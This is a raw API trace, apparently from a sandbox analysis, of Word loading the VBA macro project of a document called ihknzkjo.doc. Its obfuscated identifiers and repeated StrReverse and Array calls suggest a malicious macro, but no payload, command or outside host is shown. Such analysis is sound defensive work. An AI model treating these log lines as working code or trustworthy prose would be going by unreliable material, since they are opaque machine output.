GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="õ", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ö", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="÷", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ø", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ù", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ú", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="û", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ü", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ý", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="þ", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="ÿ", cchSrc=1, lpCharType=0x3068f0 | out: lpCharType=0x3068f0) returned 1 [0018.215] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0018.215] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff [0018.216] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x796d720 [0018.216] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x1a) returned 0x781c740 [0018.216] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x796d720, cbMultiByte=13, lpWideCharStr=0x781c740, cchWideChar=13 | out: lpWideCharStr="ThisDocument") returned 13 [0018.216] IMalloc:Free (This=0x7fefe9e5380, pv=0x796d720) [0018.216] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c740) [0018.216] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0018.216] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Base") returned 0x109fb8 [0018.216] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x15) returned 0x796d720 [0018.216] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x2a) returned 0x75ed490 [0018.216] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x796d720, cbMultiByte=21, lpWideCharStr=0x75ed490, cchWideChar=21 | out: lpWideCharStr="1Normal.ThisDocument") returned 21 [0018.216] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x2a) returned 0x75e1c50 [0018.217] IMalloc:Free (This=0x7fefe9e5380, pv=0x796d720) [0018.217] IMalloc:Free (This=0x7fefe9e5380, pv=0x75ed490) [0018.217] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0018.217] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_GlobalNameSpace") returned 0x10ce77 [0018.217] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0018.217] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0018.217] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Creatable") returned 0x101d92 [0018.217] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0018.217] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0018.217] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_PredeclaredId") returned 0x105fc7 [0018.217] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0018.217] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0018.217] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Exposed") returned 0x1030b3 [0018.217] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0018.217] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0018.217] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_TemplateDerived") returned 0x109f1e [0018.217] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0018.218] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0018.218] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Customizable") returned 0x10c26d [0018.218] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0018.218] CExposedStream::Read () returned 0x0 [0018.218] CExposedStream::Release () returned 0x1 [0018.218] CExposedStream::Release () returned 0x0 [0018.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PZuISOiIa", cchWideChar=10, lpMultiByteStr=0x306ae0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PZuISOiIa", lpUsedDefaultChar=0x0) returned 10 [0018.218] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PZuISOiIa") returned 0x10d0db [0018.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PZuISOiIa", cchWideChar=10, lpMultiByteStr=0x306c20, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PZuISOiIa", lpUsedDefaultChar=0x0) returned 10 [0018.218] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PZuISOiIa") returned 0x10d0db [0018.218] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7959b30 [0018.218] IMalloc:GetSize (This=0x7fefe9e5380, pv=0x7959b30) returned 0x80 [0018.219] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb8) returned 0x7a0ffa0 [0018.219] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb8) returned 0x7a10060 [0018.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PZuISOiIa", cchWideChar=10, lpMultiByteStr=0x306ae0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PZuISOiIa", lpUsedDefaultChar=0x0) returned 10 [0018.219] CoCreateGuid (in: pguid=0x306810 | out: pguid=0x306810*(Data1=0x9595f4f7, Data2=0xd12a, Data3=0x4ce9, Data4=([0]=0xae, [1]=0xe7, [2]=0xe5, [3]=0x10, [4]=0x62, [5]=0xf0, [6]=0x3c, [7]=0x29))) returned 0x0 [0018.219] CoCreateGuid (in: pguid=0x306820 | out: pguid=0x306820*(Data1=0xfb1cfad, Data2=0x4794, Data3=0x4e0a, Data4=([0]=0xba, [1]=0x6, [2]=0x55, [3]=0x18, [4]=0x32, [5]=0xb9, [6]=0x0, [7]=0x1b))) returned 0x0 [0018.219] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PZuISOiIa", cchWideChar=10, lpMultiByteStr=0x306830, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PZuISOiIa", lpUsedDefaultChar=0x0) returned 10 [0018.219] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PZuISOiIa") returned 0x10d0db [0018.219] GetLocalTime (in: lpSystemTime=0x306708 | out: lpSystemTime=0x306708*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x2, wMilliseconds=0x20b)) [0018.219] _ultow_s (in: _Value=0x5bf1acda, _Buffer=0x7ac8fc4, _BufferCount=0x9, _Radix=16 | out: _Buffer="5bf1acda") returned 0x0 [0018.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="025bf1acda", cchWideChar=11, lpMultiByteStr=0x3066a0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="025bf1acda", lpUsedDefaultChar=0x0) returned 11 [0018.219] strcpy_s (in: _Dst=0x7a1f5c0, _DstSize=0xa, _Src="PZuISOiIa" | out: _Dst="PZuISOiIa") returned 0x0 [0018.219] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PZuISOiIa") returned 0x10d0db [0018.219] wcscpy_s (in: _Destination=0x7ac8fd8, _SizeInWords=0xa, _Source="PZuISOiIa" | out: _Destination="PZuISOiIa") returned 0x0 [0018.219] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PZuISOiIa") returned 0x10d0db [0018.219] wcscpy_s (in: _Destination=0x7ac8ff0, _SizeInWords=0xa, _Source="PZuISOiIa" | out: _Destination="PZuISOiIa") returned 0x0 [0018.219] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PZuISOiIa") returned 0x10d0db [0018.219] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x54) returned 0x790bc80 [0018.219] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a86510) [0018.219] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c6b0 [0018.219] IMalloc:Free (This=0x7fefe9e5380, pv=0x790bc80) [0018.219] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x3d0) returned 0x7ada060 [0018.219] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c6b0 [0018.219] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x796d7a0 [0018.219] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7959c50 [0018.219] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f7590 [0018.219] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f7fa0 [0018.219] wcsncpy_s (in: _Destination=0x3067f0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0x0 [0018.219] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", cchLength=0x29 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc") returned 0x29 [0018.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", cchWideChar=42, lpMultiByteStr=0x306720, cbMultiByte=84, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", lpUsedDefaultChar=0x0) returned 42 [0018.219] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _String2="*\\CNormal") returned -11 [0018.219] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0 [0018.219] CExposedDocFile::AddRef () returned 0x4 [0018.219] CExposedDocFile::AddRef () returned 0x5 [0018.219] CExposedDocFile::OpenStream () returned 0x0 [0018.219] CExposedDocFile::Release () returned 0x4 [0018.219] CExposedStream::Seek () returned 0x0 [0018.219] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x688) returned 0x7ada440 [0018.219] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7959ce0 [0018.219] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x640) returned 0x7adaad0 [0018.219] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c650 [0018.219] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f7690 [0018.219] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f75a0 [0018.219] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c620 [0018.220] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7959d70 [0018.220] CExposedStream::AddRef () returned 0x2 [0018.220] CExposedStream::Read () returned 0x0 [0018.220] CExposedStream::AddRef () returned 0x3 [0018.220] CExposedStream::Release () returned 0x2 [0018.220] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x2ee0) returned 0xbb59d30 [0018.220] CExposedStream::Read () returned 0x0 [0018.220] CExposedStream::Read () returned 0x0 [0018.220] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918 [0018.220] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0018.220] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff [0018.220] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xa) returned 0x796d820 [0018.220] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x14) returned 0x796d840 [0018.220] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x796d820, cbMultiByte=10, lpWideCharStr=0x796d840, cchWideChar=10 | out: lpWideCharStr="PZuISOiIa") returned 10 [0018.220] IMalloc:Free (This=0x7fefe9e5380, pv=0x796d820) [0018.220] IMalloc:Free (This=0x7fefe9e5380, pv=0x796d840) [0018.220] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0018.220] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="QiiPPcnDM") returned 0x10906e [0018.220] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x51b2b66, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0018.220] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x51b2b66, cbMultiByte=9, lpWideCharStr=0x781fbc8, cchWideChar=9 | out: lpWideCharStr="QiiPPcnDM") returned 9 [0018.220] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x67e0000 [0018.221] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ImUDRi") returned 0x1066e0 [0018.221] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.233] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.233] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.233] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x67f0000 [0018.234] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.234] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.234] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.235] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.235] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.235] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.235] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.235] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="QmTrb") returned 0x10e0db [0018.235] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.235] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="FiKsmwUHq") returned 0x10e058 [0018.235] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.235] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.235] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.235] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.235] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.235] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.235] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.235] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.235] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="UusBwdaiNEd") returned 0x109fe2 [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="zMBMZzlQ") returned 0x1016d8 [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WpjzZrtiM") returned 0x105c5c [0018.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="TLXBEpkjsU") returned 0x104322 [0018.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sVGsXBOCOdR") returned 0x10029c [0018.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="XSqAtJ") returned 0x100026 [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="zYowYjO") returned 0x10fae9 [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lJEHnP") returned 0x10af54 [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fwABq") returned 0x1026f6 [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RjAaIhHATzq") returned 0x10d8df [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LaFNnZb") returned 0x1065b3 [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="nziIw") returned 0x10f8e9 [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wAPIwOIbK") returned 0x108a6a [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="jBdQEXP") returned 0x10f9e8 [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f 